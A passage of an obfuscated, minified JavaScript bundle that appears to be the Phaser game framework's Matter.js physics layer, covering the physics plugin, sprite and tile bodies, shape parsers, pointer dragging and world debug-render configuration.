_0xfb9feb['BOTTOM_LEFT']: _0x29624f = this['bodyBounds']['getBottomLeft'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['BOTTOM_CENTER']: _0x29624f = this['bodyBounds']['getBottomCenter'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['BOTTOM_RIGHT']: case _0xfb9feb['RIGHT_BOTTOM']: _0x29624f = this['bodyBounds']['getBottomRight'](_0x3bf2f3, _0x87090d, _0xb2fbd8); }return _0x29624f && _0x5819e5['setPosition'](_0x3bf2f3, _0x29624f), this; }, 'shutdown': function () { var _0x5544a2 = this['systems']['events']; this['world'] && (_0x5544a2['off'](_0x3709e2['UPDATE'], this['world']['update'], this['world']), _0x5544a2['off'](_0x3709e2['POST_UPDATE'], this['world']['postUpdate'], this['world'])), _0x5544a2['off'](_0x3709e2['SHUTDOWN'], this['shutdown'], this), this['add'] && this['add']['destroy'](), this['world'] && this['world']['destroy'](), this['add'] = null, this['world'] = null; }, 'destroy': function () { this['shutdown'](), this['scene']['sys']['events']['off'](_0x3709e2['START'], this['start'], this), this['scene'] = null, this['systems'] = null; } }); _0x3109b7['register']('MatterPhysics', _0x7d6e12, 'matterPhysics'), _0x399173['exports'] = _0x7d6e12; }, 0x87f3: (_0x469778, _0x3ef43d, _0x2da9f5) => { var _0x2c6c02 = _0x2da9f5(0x25ca), _0x3c003f = _0x2da9f5(0x145db), _0x1dd0c5 = _0x2da9f5(0x7c8c), _0xdadb7d = _0x2da9f5(0x1759b), _0x242f99 = _0x2da9f5(0x17534), _0x4a18b4 = _0x2da9f5(0x11bfb), _0x66925b = _0x2da9f5(0x10abf), _0x490031 = _0x2da9f5(0x65f3), _0x1b4d42 = new _0x3c003f({ 'Extends': _0x66925b, 'Mixins': [_0x1dd0c5['Bounce'], _0x1dd0c5['Collision'], _0x1dd0c5['Force'], _0x1dd0c5['Friction'], _0x1dd0c5['Gravity'], _0x1dd0c5['Mass'], _0x1dd0c5['Sensor'], _0x1dd0c5['SetBody'], _0x1dd0c5['Sleep'], _0x1dd0c5['Static'], _0x1dd0c5['Transform'], _0x1dd0c5['Velocity'], _0x4a18b4], 'initialize': function (_0x41da63, _0x5c11a4, _0x4a8614, _0x1d1d35, _0x3548dd, _0x7d331d) { _0xdadb7d['call'](this, _0x41da63['scene'], 'Sprite'), this['_crop'] = this['resetCropObject'](), this['anims'] = new _0x2c6c02(this), this['setTexture'](_0x1d1d35, _0x3548dd), this['setSizeToFrame'](), this['setOrigin'](), this['world'] = _0x41da63, this['_tempVec2'] = new _0x490031(_0x5c11a4, _0x4a8614); var _0x34a663 = _0x242f99(_0x7d331d, 'shape', null); _0x34a663 ? this['setBody'](_0x34a663, _0x7d331d) : this['setRectangle'](this['width'], this['height'], _0x7d331d), this['setPosition'](_0x5c11a4, _0x4a8614), this['initPipeline'](), this['initPostPipeline'](!0x0); } }); _0x469778['exports'] = _0x1b4d42; }, 0x1206a: (_0x2fd2de, _0x57a7c3, _0x426f36) => { var _0x59552f = _0x426f36(0x102e8), _0x16621c = _0x426f36(0x5822), _0xf15394 = _0x426f36(0x145db), _0x40cdcb = _0x426f36(0x7c8c), _0x1df618 = _0x426f36(0xf4b4), _0xeb6b9b = _0x426f36(0xc668), _0xc964de = _0x426f36(0x17534), _0x2a60f2 = _0x426f36(0x17afe), _0x9d3102 = _0x426f36(0xa27e), _0x19533f = new _0xf15394({ 'Extends': _0xeb6b9b, 'Mixins': [_0x40cdcb['Bounce'], _0x40cdcb['Collision'], _0x40cdcb['Friction'], _0x40cdcb['Gravity'], _0x40cdcb['Mass'], _0x40cdcb['Sensor'], _0x40cdcb['Sleep'], _0x40cdcb['Static']], 'initialize': function (_0x480fa3, _0x2ec3f2, _0x4233b5) { _0xeb6b9b['call'](this), this['tile'] = _0x2ec3f2, this['world'] = _0x480fa3, _0x2ec3f2['physics']['matterBody'] && _0x2ec3f2['physics']['matterBody']['destroy'](), _0x2ec3f2['physics']['matterBody'] = this; var _0x4dd335 = _0xc964de(_0x4233b5, 'body', null), _0x5c3354 = _0xc964de(_0x4233b5, 'addToWorld', !0x0); if (_0x4dd335) this['setBody'](_0x4dd335, _0x5c3354); else { var _0x46eb84 = _0x2ec3f2['getCollisionGroup'](); _0xc964de(_0x46eb84, 'objects', [])['length'] > 0x0 ? this['setFromTileCollision'](_0x4233b5) : this['setFromTileRectangle'](_0x4233b5); } if (_0x2ec3f2['flipX'] || _0x2ec3f2['flipY']) { var _0x15972f = { 'x': _0x2ec3f2['getCenterX'](), 'y': _0x2ec3f2['getCenterY']() }, _0x2f33b6 = _0x2ec3f2['flipX'] ? -0x1 : 0x1, _0x3689c7 = _0x2ec3f2['flipY'] ? -0x1 : 0x1; _0x16621c['scale'](_0x4dd335, _0x2f33b6, _0x3689c7, _0x15972f); } }, 'setFromTileRectangle': function (_0x109966) { void 0x0 === _0x109966 && (_0x109966 = {}), _0x2a60f2(_0x109966, 'isStatic') || (_0x109966['isStatic'] = !0x0), _0x2a60f2(_0x109966, 'addToWorld') || (_0x109966['addToWorld'] = !0x0); var _0x4960d5 = this['tile']['getBounds'](), _0x14a6b9 = _0x4960d5['x'] + _0x4960d5['width'] / 0x2, _0x281e5f = _0x4960d5['y'] + _0x4960d5['height'] / 0x2, _0xc2e4bd = _0x59552f['rectangle'](_0x14a6b9, _0x281e5f, _0x4960d5['width'], _0x4960d5['height'], _0x109966); return this['setBody'](_0xc2e4bd, _0x109966['addToWorld']), this; }, 'setFromTileCollision': function (_0x52c5dc) { void 0x0 === _0x52c5dc && (_0x52c5dc = {}), _0x2a60f2(_0x52c5dc, 'isStatic') || (_0x52c5dc['isStatic'] = !0x0), _0x2a60f2(_0x52c5dc, 'addToWorld') || (_0x52c5dc['addToWorld'] = !0x0); for (var _0x596a29 = this['tile']['tilemapLayer']['scaleX'], _0x281620 = this['tile']['tilemapLayer']['scaleY'], _0x1f4b72 = this['tile']['getLeft'](), _0x45817c = this['tile']['getTop'](), _0x52ee7e = this['tile']['getCollisionGroup'](), _0x12005e = _0xc964de(_0x52ee7e, 'objects', []), _0x441c69 = [], _0x1d51d0 = 0x0; _0x1d51d0 < _0x12005e['length']; _0x1d51d0++) { var _0x24ed39 = _0x12005e[_0x1d51d0], _0x19e58d = _0x1f4b72 + _0x24ed39['x'] * _0x596a29, _0x4021de = _0x45817c + _0x24ed39['y'] * _0x281620, _0x2cda2e = _0x24ed39['width'] * _0x596a29, _0x4a7f3d = _0x24ed39['height'] * _0x281620, _0x430752 = null; if (_0x24ed39['rectangle']) _0x430752 = _0x59552f['rectangle'](_0x19e58d + _0x2cda2e / 0x2, _0x4021de + _0x4a7f3d / 0x2, _0x2cda2e, _0x4a7f3d, _0x52c5dc); else { if (_0x24ed39['ellipse']) _0x430752 = _0x59552f['circle'](_0x19e58d + _0x2cda2e / 0x2, _0x4021de + _0x4a7f3d / 0x2, _0x2cda2e / 0x2, _0x52c5dc); else { if (_0x24ed39['polygon'] || _0x24ed39['polyline']) { var _0x1d8965 = (_0x24ed39['polygon'] ? _0x24ed39['polygon'] : _0x24ed39['polyline'])['map'](function (_0x7e2b46) { return { 'x': _0x7e2b46['x'] * _0x596a29, 'y': _0x7e2b46['y'] * _0x281620 }; }), _0x3b9323 = _0x9d3102['create'](_0x1d8965), _0x67c479 = _0x9d3102['centre'](_0x3b9323); _0x19e58d += _0x67c479['x'], _0x4021de += _0x67c479['y'], _0x430752 = _0x59552f['fromVertices'](_0x19e58d, _0x4021de, _0x3b9323, _0x52c5dc); } } } _0x430752 && _0x441c69['push'](_0x430752); } if (0x1 === _0x441c69['length']) this['setBody'](_0x441c69[0x0], _0x52c5dc['addToWorld']); else { if (_0x441c69['length'] > 0x1) { var _0x5043a8 = _0x1df618(_0x52c5dc); _0x5043a8['parts'] = _0x441c69, this['setBody'](_0x16621c['create'](_0x5043a8), _0x5043a8['addToWorld']); } } return this; }, 'setBody': function (_0x46ce8d, _0x21e04a) { return void 0x0 === _0x21e04a && (_0x21e04a = !0x0), this['body'] && this['removeBody'](), this['body'] = _0x46ce8d, this['body']['gameObject'] = this, _0x21e04a && this['world']['add'](this['body']), this; }, 'removeBody': function () { return this['body'] && (this['world']['remove'](this['body']), this['body']['gameObject'] = void 0x0, this['body'] = void 0x0), this; }, 'destroy': function () { this['removeBody'](), this['tile']['physics']['matterBody'] = void 0x0, this['removeAllListeners'](); } }); _0x2fd2de['exports'] = _0x19533f; }, 0x4c28: (_0x234b24, _0x5b11a7, _0x5cb5cf) => { var _0x47063f = _0x5cb5cf(0x102e8), _0x4b988a = _0x5cb5cf(0x5822), _0x58e4db = _0x5cb5cf(0xd09a), _0x399d19 = _0x5cb5cf(0x17534), _0x286802 = _0x5cb5cf(0xa27e), _0x31cd17 = { 'parseBody': function (_0x1cf550, _0x57fb74, _0x3869ba, _0x53f1cb) { void 0x0 === _0x53f1cb && (_0x53f1cb = {}); for (var _0x20d118 = _0x399d19(_0x3869ba, 'fixtures', []), _0x5699df = [], _0x24469b = 0x0; _0x24469b < _0x20d118['length']; _0x24469b++)for (var _0x4ff50e = this['parseFixture'](_0x20d118[_0x24469b]), _0x384b91 = 0x0; _0x384b91 < _0x4ff50e['length']; _0x384b91++)_0x5699df['push'](_0x4ff50e[_0x384b91]); var _0x855724 = _0x58e4db['clone'](_0x3869ba, !0x0); _0x58e4db['extend'](_0x855724, _0x53f1cb, !0x0), delete _0x855724['fixtures'], delete _0x855724['type']; var _0x1eec34 = _0x4b988a['create'](_0x855724); return _0x4b988a['setParts'](_0x1eec34, _0x5699df), _0x4b988a['setPosition'](_0x1eec34, { 'x': _0x1cf550, 'y': _0x57fb74 }), _0x1eec34; }, 'parseFixture': function (_0x3de43c) { var _0x2b8d77, _0x6b9097 = _0x58e4db['extend']({}, !0x1, _0x3de43c); if (delete _0x6b9097['circle'], delete _0x6b9097['vertices'], _0x3de43c['circle']) { var _0x518cbc = _0x399d19(_0x3de43c['circle'], 'x'), _0x401783 = _0x399d19(_0x3de43c['circle'], 'y'), _0x52f05a = _0x399d19(_0x3de43c['circle'], 'radius'); _0x2b8d77 = [_0x47063f['circle'](_0x518cbc, _0x401783, _0x52f05a, _0x6b9097)]; } else _0x3de43c['vertices'] && (_0x2b8d77 = this['parseVertices'](_0x3de43c['vertices'], _0x6b9097)); return _0x2b8d77; }, 'parseVertices': function (_0x45e1ef, _0x5a26f1) { void 0x0 === _0x5a26f1 && (_0x5a26f1 = {}); for (var _0x557f3 = [], _0x4c7404 = 0x0; _0x4c7404 < _0x45e1ef['length']; _0x4c7404++)_0x286802['clockwiseSort'](_0x45e1ef[_0x4c7404]), _0x557f3['push'](_0x4b988a['create'](_0x58e4db['extend']({ 'position': _0x286802['centre'](_0x45e1ef[_0x4c7404]), 'vertices': _0x45e1ef[_0x4c7404] }, _0x5a26f1))); return _0x47063f['flagCoincidentParts'](_0x557f3); } }; _0x234b24['exports'] = _0x31cd17; }, 0x14f1f: (_0x5f3e36, _0xbfe88d, _0x2b726e) => { var _0x3f8501 = _0x2b726e(0x102e8), _0x178e7c = _0x2b726e(0x5822), _0xfc42c0 = { 'parseBody': function (_0xc39c2, _0xd970ca, _0x5ab213, _0x1f1e32) { var _0xfe5e00; void 0x0 === _0x1f1e32 && (_0x1f1e32 = {}); var _0x3ebb54 = _0x5ab213['vertices']; if (0x1 === _0x3ebb54['length']) _0x1f1e32['vertices'] = _0x3ebb54[0x0], _0xfe5e00 = _0x178e7c['create'](_0x1f1e32), _0x3f8501['flagCoincidentParts'](_0xfe5e00['parts']); else { for (var _0x1607d5 = [], _0x41e9cf = 0x0; _0x41e9cf < _0x3ebb54['length']; _0x41e9cf++) { var _0x313ee2 = _0x178e7c['create']({ 'vertices': _0x3ebb54[_0x41e9cf] }); _0x1607d5['push'](_0x313ee2); } _0x3f8501['flagCoincidentParts'](_0x1607d5), _0x1f1e32['parts'] = _0x1607d5, _0xfe5e00 = _0x178e7c['create'](_0x1f1e32); } return _0xfe5e00['label'] = _0x5ab213['label'], _0x178e7c['setPosition'](_0xfe5e00, { 'x': _0xc39c2, 'y': _0xd970ca }), _0xfe5e00; } }; _0x5f3e36['exports'] = _0xfc42c0; }, 0x18199: (_0x237efe, _0x1e40f9, _0x35b741) => { var _0x5395f8 = _0x35b741(0x3d1f), _0x4eab12 = _0x35b741(0x145db), _0x551f9a = _0x35b741(0x10ee7), _0x428a89 = _0x35b741(0xbc0c), _0x293768 = _0x35b741(0x13dec), _0x1d2da3 = _0x35b741(0x461), _0x3a8498 = _0x35b741(0x2016), _0x8ad2ec = _0x35b741(0xb77f), _0x1dd093 = _0x35b741(0xd16e), _0x5cf686 = _0x35b741(0x65f3), _0x1cf72f = _0x35b741(0xa27e), _0x5b5284 = new _0x4eab12({ 'initialize': function (_0x3229b7, _0x1bf638, _0x21bad0) { void 0x0 === _0x21bad0 && (_0x21bad0 = {}), this['scene'] = _0x3229b7, this['world'] = _0x1bf638, this['camera'] = null, this['pointer'] = null, this['active'] = !0x0, this['position'] = new _0x5cf686(), this['body'] = null, this['part'] = null, this['constraint'] = _0x428a89['create'](_0x8ad2ec(_0x21bad0, { 'label': 'Pointer\x20Constraint', 'pointA': { 'x': 0x0, 'y': 0x0 }, 'pointB': { 'x': 0x0, 'y': 0x0 }, 'length': 0.01, 'stiffness': 0.1, 'angularStiffness': 0x1, 'collisionFilter': { 'category': 0x1, 'mask': 0xffffffff, 'group': 0x0 } })), this['world']['on'](_0x1d2da3['BEFORE_UPDATE'], this['update'], this), _0x3229b7['sys']['input']['on'](_0x3a8498['POINTER_DOWN'], this['onDown'], this), _0x3229b7['sys']['input']['on'](_0x3a8498['POINTER_UP'], this['onUp'], this); }, 'onDown': function (_0xfcbe17) { this['pointer'] || (this['pointer'] = _0xfcbe17, this['camera'] = _0xfcbe17['camera']); }, 'onUp': function (_0x491b2e) { _0x491b2e === this['pointer'] && (this['pointer'] = null); }, 'getBody': function (_0x3c7826) { var _0xd9a0 = this['position'], _0x23239b = this['constraint']; this['camera']['getWorldPoint'](_0x3c7826['x'], _0x3c7826['y'], _0xd9a0); for (var _0x1c0e1c = _0x551f9a['allBodies'](this['world']['localWorld']), _0x1db748 = 0x0; _0x1db748 < _0x1c0e1c['length']; _0x1db748++) { var _0x49decb = _0x1c0e1c[_0x1db748]; if (!_0x49decb['ignorePointer'] && _0x5395f8['contains'](_0x49decb['bounds'], _0xd9a0) && _0x293768['canCollide'](_0x49decb['collisionFilter'], _0x23239b['collisionFilter']) && this['hitTestBody'](_0x49decb, _0xd9a0)) return this['world']['emit'](_0x1d2da3['DRAG_START'], _0x49decb, this['part'], this), !0x0; } return !0x1; }, 'hitTestBody': function (_0x34ad27, _0x1216c3) { for (var _0x592d3a = this['constraint'], _0x589cd3 = _0x34ad27['parts']['length'], _0x2d0e52 = _0x589cd3 > 0x1 ? 0x1 : 0x0; _0x2d0e52 < _0x589cd3; _0x2d0e52++) { var _0x20a1a5 = _0x34ad27['parts'][_0x2d0e52]; if (_0x1cf72f['contains'](_0x20a1a5['vertices'], _0x1216c3)) return _0x592d3a['pointA'] = _0x1216c3, _0x592d3a['pointB'] = { 'x': _0x1216c3['x'] - _0x34ad27['position']['x'], 'y': _0x1216c3['y'] - _0x34ad27['position']['y'] }, _0x592d3a['bodyB'] = _0x34ad27, _0x592d3a['angleB'] = _0x34ad27['angle'], _0x1dd093['set'](_0x34ad27, !0x1), this['part'] = _0x20a1a5, this['body'] = _0x34ad27, !0x0; } return !0x1; }, 'update': function () { var _0x565743 = this['pointer'], _0x8d9004 = this['body']; if (this['active'] && _0x565743) { if (_0x565743['isDown'] || !_0x8d9004) { if (_0x565743['isDown']) { if (!this['camera'] || !_0x8d9004 && !this['getBody'](_0x565743)) return; _0x8d9004 = this['body']; var _0x10767c = this['position'], _0x49c03d = this['constraint']; this['camera']['getWorldPoint'](_0x565743['x'], _0x565743['y'], _0x10767c), _0x49c03d['pointA']['x'] = _0x10767c['x'], _0x49c03d['pointA']['y'] = _0x10767c['y'], _0x1dd093['set'](_0x8d9004, !0x1), this['world']['emit'](_0x1d2da3['DRAG'], _0x8d9004, this); } } else this['stopDrag'](); } else _0x8d9004 && this['stopDrag'](); }, 'stopDrag': function () { var _0x333c2f = this['body'], _0x542b65 = this['constraint']; _0x542b65['bodyB'] = null, _0x542b65['pointB'] = null, this['pointer'] = null, this['body'] = null, this['part'] = null, _0x333c2f && this['world']['emit'](_0x1d2da3['DRAG_END'], _0x333c2f, this); }, 'destroy': function () { this['world']['removeConstraint'](this['constraint']), this['pointer'] = null, this['constraint'] = null, this['body'] = null, this['part'] = null, this['world']['off'](_0x1d2da3['BEFORE_UPDATE'], this['update']), this['scene']['sys']['input']['off'](_0x3a8498['POINTER_DOWN'], this['onDown'], this), this['scene']['sys']['input']['off'](_0x3a8498['POINTER_UP'], this['onUp'], this); } }); _0x237efe['exports'] = _0x5b5284; }, 0x10a93: (_0x41e819, _0x4c14d2, _0xe57e60) => { var _0x509a4e = _0xe57e60(0x102e8), _0x3ad39f = _0xe57e60(0x5822), _0x15b993 = _0xe57e60(0x145db), _0x5ca3fe = _0xe57e60(0xd09a), _0x22913f = _0xe57e60(0x10ee7), _0x3262b9 = _0xe57e60(0xbd1d), _0x19217c = _0xe57e60(0xc668), _0x3bb713 = _0xe57e60(0x461), _0x484b3e = _0xe57e60(0x17534), _0xb699fe = _0xe57e60(0x8952), _0x41867d = _0xe57e60(0x5822), _0x2fae77 = _0xe57e60(0x8be2), _0x302a8b = _0xe57e60(0x1206a), _0x220fdd = _0xe57e60(0x1114), _0x127157 = _0xe57e60(0x32ed), _0x20b0d0 = _0xe57e60(0x7bed), _0x14a8a9 = new _0x15b993({ 'Extends': _0x19217c, 'initialize': function (_0x3a9da0, _0x1d68a2) { _0x19217c['call'](this), this['scene'] = _0x3a9da0, this['engine'] = _0x3262b9['create'](_0x1d68a2), this['localWorld'] = this['engine']['world']; var _0x5e7c39 = _0xb699fe(_0x1d68a2, 'gravity', null); _0x5e7c39 ? this['setGravity'](_0x5e7c39['x'], _0x5e7c39['y'], _0x5e7c39['scale']) : !0x1 === _0x5e7c39 && this['setGravity'](0x0, 0x0, 0x0), this['walls'] = { 'left': null, 'right': null, 'top': null, 'bottom': null }, this['enabled'] = _0xb699fe(_0x1d68a2, 'enabled', !0x0), this['getDelta'] = _0xb699fe(_0x1d68a2, 'getDelta', this['update60Hz']); var _0x43af1d = _0x484b3e(_0x1d68a2, 'runner', {}), _0x52c657 = _0x484b3e(_0x43af1d, 'fps', !0x1), _0x50e595 = _0x484b3e(_0x43af1d, 'fps', 0x3c), _0x2dfd4d = _0x484b3e(_0x43af1d, 'delta', 0x3e8 / _0x50e595), _0x144a88 = _0x484b3e(_0x43af1d, 'deltaMin', 0x3e8 / _0x50e595), _0x5eeb92 = _0x484b3e(_0x43af1d, 'deltaMax', 0x3e8 / (0.5 * _0x50e595)); _0x52c657 || (_0x50e595 = 0x3e8 / _0x2dfd4d), this['runner'] = { 'fps': _0x50e595, 'deltaSampleSize': _0x484b3e(_0x43af1d, 'deltaSampleSize', 0x3c), 'counterTimestamp': 0x0, 'frameCounter': 0x0, 'deltaHistory': [], 'timePrev': null, 'timeScalePrev': 0x1, 'frameRequestId': null, 'timeBuffer': 0x0, 'isFixed': _0x484b3e(_0x43af1d, 'isFixed', !0x1), 'delta': _0x2dfd4d, 'deltaMin': _0x144a88, 'deltaMax': _0x5eeb92 }, this['autoUpdate'] = _0xb699fe(_0x1d68a2, 'autoUpdate', !0x0); var _0x164c9 = _0xb699fe(_0x1d68a2, 'debug', !0x1); if (this['drawDebug'] = 'object' == typeof _0x164c9 || _0x164c9, this['debugGraphic'], this['debugConfig'] = { 'showAxes': _0x484b3e(_0x164c9, 'showAxes', !0x1), 'showAngleIndicator': _0x484b3e(_0x164c9, 'showAngleIndicator', !0x1), 'angleColor': _0x484b3e(_0x164c9, 'angleColor', 0xe81153), 'showBroadphase': _0x484b3e(_0x164c9, 'showBroadphase', !0x1), 'broadphaseColor': _0x484b3e(_0x164c9, 'broadphaseColor', 0xffb400), 'showBounds': _0x484b3e(_0x164c9, 'showBounds', !0x1), 'boundsColor': _0x484b3e(_0x164c9, 'boundsColor', 0xffffff), 'showVelocity': _0x484b3e(_0x164c9, 'showVelocity', !0x1), 'velocityColor': _0x484b3e(_0x164c9, 'velocityColor', 0xaeef), 'showCollisions': _0x484b3e(_0x164c9, 'showCollisions', !0x1), 'collisionColor': _0x484b3e(_0x164c9, 'collisionColor', 0xf5950c), 'showSeparations': _0x484b3e(_0x164c9, 'showSeparations', !0x1), 'separationColor': _0x484b3e(_0x164c9, 'separationColor', 0xffa500), 'showBody': _0x484b3e(_0x164c9, 'showBody', !0x0), 'showStaticBody': _0x484b3e(_0x164c9, 'showStaticBody', !0x0), 'showInternalEdges': _0x484b3e(_0x164c9, 'showInternalEdges', !0x1), 'renderFill': _0x484b3e(_0x164c9, 'renderFill', !0x1), 'renderLine': _0x484b3e(_0x164c9, 'renderLine', !0x0), 'fillColor': _0x484b3e(_0x164c9, 'fillColor', 0x106909), 'fillOpacity': _0x484b3e(_0x164c9, 'fillOpacity', 0x1), 'lineColor': _0x484b3e(_0x164c9, 'lineColor', 0x28de19), 'lineOpacity': _0x484b3e(_0x164c9, 'lineOpacity', 0x1), 'lineThickness': _0x484b3e(_0x164c9, 'lineThickness', 0x1), 'staticFillColor': _0x484b3e(_0x164c9, 'staticFillColor', 0xd177b), 'staticLineColor': _0x484b3e(_0x164c9, 'staticLineColor', 0x1327e4), 'showSleeping': _0x484b3e(_0x164c9, 'showSleeping', !0x1), 'staticBodySleepOpacity': _0x484b3e(_0x164c9, 'staticBodySleepOpacity', 0.7), 'sleepFillColor': _0x484b3e(_0x164c9, 'sleepFillColor', 0x464646), 'sleepLineColor': _0x484b3e(_0x164c9, 'sleepLineColor', 0x999a99), 'showSensors': _0x484b3e(_0x164c9, 'showSensors', !0x0), 'sensorFillColor': _0x484b3e(_0x164c9, 'sensorFillColor', 0xd177b), 'sensorLineColor': _0x484b3e(_0x164c9, 'sensorLineColor', 0x1327e4), 'showPositions': _0x484b3e(_0x164c9, 'showPositions', !0x0), 'positionSize': _0x484b3e(_0x164c9, 'positionSize', 0x4), 'positionColor': _0x484b3e(_0x164c9, 'positionColor', 0xe042da), 'showJoint': _0x484b3e(_0x164c9, 'showJoint', !0x0), 'jointColor': _0x484b3e(_0x164c9, 'jointColor', 0xe0e042), 'jointLineOpacity': _0x484b3e(_0x164c9, 'jointLineOpacity', 0x1), 'jointLineThickness': _0x484b3e(_0x164c9, 'jointLineThickness', 0x2), 'pinSize': _0x484b3e(_0x164c9, 'pinSize', 0x4), 'pinColor': _0x484b3e(_0x164c9, 'pinColor', 0x42e0e0), 'springColor': _0x484b3e(_0x164c9, 'springColor', 0xe042e0), 'anchorColor': _0x484b3e(_0x164c9, 'anchorColor', 0xefefef), 'anchorSize': _0x484b3e(_0x164c9, 'anchorSize', 0x4), 'showConvexHulls': _0x484b3e(_0x164c9, 'showConvexHulls', !0x1), 'hullColor': _0x484b3e(_0x164c9, 'hullColor', 0xd703d0) }, this['drawDebug'] && this['createDebugGraphic'](), this['setEventsProxy'](), _0x484b3e(_0x1d68a2, 'setBounds', !0x1)) { var _0x5f0664 = _0x1d68a2['setBounds']; if ('boolean' == typeof _0x5f0664) this['setBounds'](); else { var _0x59e31b = _0x484b3e(_0x5f0664, 'x', 0x0), _0x2494ef = _0x484b3e(_0x5f0664, 'y', 0x0), _0x9319d3 = _0x484b3e(_0x5f0664, 'width', _0x3a9da0['sys']['scale']['width']), _0x54c2ce = _0x484b3e(_0x5f0664, 'height', _0x3a9da0['sys']['scale']['height']), _0x405bca = _0x484b3e(_0x5f0664, 'thickness', 0x40), _0x308ac9 = _0x484b3e(_0x5f0664, 'left', !0x0), _0x200d3e = _0x484b3e(_0x5f0664, 'right', !0x0), _0x48f7f2 = _0x484b3e(_0x5f0664, 'top', !0x0), _0x517e24 = _0x484b3e(_0x5f0664, 'bottom', !0x0); this['setBounds'](_0x59e31b, _0x2494ef, _0x9319d3, _0x54c2ce, _0x405bca, _0x308ac9, _0x200d3e, _0x48f7f2, _0x517e24); } } }, 'setCompositeRenderStyle': function (_0x5635b6) { var _0xcf30a2, _0x3929a8, _0x2bd27c, _0xa29643 = _0x5635b6['bodies'], _0x5d4235 = _0x5635b6['constraints'], _0x39d628 = _0x5635b6['composites']; for (_0xcf30a2 = 0x0; _0xcf30a2 < _0xa29643['length']; _0xcf30a2++)_0x2bd27c = (_0x3929a8 = _0xa29643[_0xcf30a2])['render'], this['setBodyRenderStyle'](_0x3929a8, _0x2bd27c['lineColor'], _0x2bd27c['lineOpacity'], _0x2bd27c['lineThickness'], _0x2bd27c['fillColor'], _0x2bd27c['fillOpacity']); for (_0xcf30a2 = 0x0; _0xcf30a2 < _0x5d4235['length']; _0xcf30a2++)_0x2bd27c = (_0x3929a8 = _0x5d4235[_0xcf30a2])['render'], this['setConstraintRenderStyle'](_0x3929a8, _0x2bd27c['lineColor'], _0x2bd27c['lineOpacity'], _0x2bd27c['lineThickness'], _0x2bd27c['pinSize'], _0x2bd27c['anchorColor'], _0x2bd27c['anchorSize']); for (_0xcf30a2 = 0x0; _0xcf30a2 < _0x39d628['length']; _0xcf30a2++)_0x3929a8 = _0x39d628[_0xcf30a2], this['setCompositeRenderStyle'](_0x3929a8); return this; }, 'setBodyRenderStyle': function (_0x3218fd, _0x3b63a, _0x35e841, _0x4a67ea, _0x25298a, _0x422202) { var _0x55af4d = _0x3218fd['render'], _0x51b4e9 = this['debugConfig']; return _0x55af4d ? (null == _0x3b63a && (_0x3b63a = _0x3218fd['isStatic'] ? _0x51b4e9['staticLineColor'] : _0x51b4e9['lineColor']), null == _0x35e841 && (_0x35e841 = _0x51b4e9['lineOpacity']), null == _0x4a67ea && (_0x4a67ea = _0x51b4e9['lineThickness']), null == _0x25298a && (_0x25298a = _0x3218fd['isStatic'] ? _0x51b4e9['staticFillColor'] : _0x51b4e9['fillColor']), null == _0x422202 && (_0x422202 = _0x51b4e9['fillOpacity']), !0x1 !== _0x3b63a && (_0x55af4d['lineColor'] = _0x3b63a), !0x1 !== _0x35e841 && (_0x55af4d['lineOpacity'] = _0x35e841), !0x1 !== _0x4a67ea && (_0x55af4d['lineThickness'] = _0x4a67ea), !0x1 !== _0x25298a && (_0x55af4d['fillColor'] = _0x25298a), !0x1 !== _0x422202 && (_0x55af4d['fillOpacity'] = _0x422202), this) : this; }, 'setConstraintRenderStyle': function (_0x1b7879, _0x45f3dd, _0x15c5c9, _0x3a136d, _0x36e334, _0x3108e1, _0x66ad7e) { var _0x33c17d = _0x1b7879['render'], _0x4fd060 = this['debugConfig']; if (!_0x33c17d) return this; if (null == _0x45f3dd) { var _0x4aba16 = _0x33c17d['type']; 'line' === _0x4aba16 ? _0x45f3dd = _0x4fd060['jointColor'] : 'pin' === _0x4aba16 ? _0x45f3dd = _0x4fd060['pinColor'] : 'spring' === _0x4aba16 && (_0x45f3dd = _0x4fd060['springColor']); } return null == _0x15c5c9 && (_0x15c5c9 = _0x4fd060['jointLineOpacity']), null == _0x3a136d && (_0x3a136d = _0x4fd060['jointLineThickness']), null == _0x36e334 && (_0x36e334 = _0x4fd060['pinSize']), null == _0x3108e1 && (_0x3108e1 = _0x4fd060['anchorColor']), null == _0x66ad7e && (_0x66ad7e = _0x4fd060['anchorSize']), !0x1 !== _0x45f3dd && (_0x33c17d['lineColor'] = _0x45f3dd), !0x1 !== _0x15c5c9 && (_0x33c17d['lineOpacity'] = _0x15c5c9), !0x1 !== _0x3a136d && (_0x33c17d['lineThickness'] = _0x3a136d), !0x1 !== _0x36e334 && (_0x33c17d['pinSize'] = _0x36e334), !0x1 !== _0x3108e1 && (_0x33c17d['anchorColor'] = _0x3108e1), !0x1 !== _0x66ad7e && (_0x33c17d['anchorSize'] = _0x66ad7e), this; }, 'setEventsProxy': function () { var _0x3f5ae5 = this, _0x122077 = this['engine'], _0x51de78 = this['localWorld']; this['drawDebug'] && (_0x2fae77['on'](_0x51de78, 'compositeModified', function (_0x2cdd59) { _0x3f5ae5['setCompositeRenderStyle'](_0x2cdd59); }), _0x2fae77['on'](_0x51de78, 'beforeAdd', function (_0x4461a4) { for (var _0x391b65 = []['concat'](_0x4461a4['object']), _0x5803e7 = 0x0; _0x5803e7 < _0x391b65['length']; _0x5803e7++) { var _0x1ec7c1 = _0x391b65[_0x5803e7], _0x42aafb = _0x1ec7c1['render']; 'body' === _0x1ec7c1['type'] ? _0x3f5ae5['setBodyRenderStyle'](_0x1ec7c1, _0x42aafb['lineColor'], _0x42aafb['lineOpacity'], _0x42aafb['lineThickness'], _0x42aafb['fillColor'], _0x42aafb['fillOpacity']) : 'composite' === _0x1ec7c1['type'] ? _0x3f5ae5['setCompositeRenderStyle'](_0x1ec7c1) : 'constraint' === _0x1ec7c1['type'] && _0x3f5ae5['setConstraintRenderStyle'](_0x1ec7c1, _0x42aafb['lineColor'], _0x42aafb['lineOpacity'], _0x42aafb['lineThickness'], _0x42aafb['pinSize'], _0x42aafb['anchorColor'], _0x42aafb['anchorSize']); } })), _0x2fae77['on'](_0x51de78, 'beforeAdd', function (_0x41c0a4) { _0x3f5ae5['emit'](_0x3bb713['BEFORE_ADD'], _0x41c0a4); }), _0x2fae77['on'](_0x51de78, 'afterAdd', function (_0x44cacd) { _0x3f5ae5['emit'](_0x3bb713['AFTER_ADD'], _0x44cacd); }), _0x2fae77['on'](_0x51de78, 'beforeRemove', function (_0x1bfc95) { _0x3f5ae5['emit'](_0x3bb713['BEFORE_REMOVE'], _0x1bfc95); }), _0x2fae77['on'](_0x51de78, 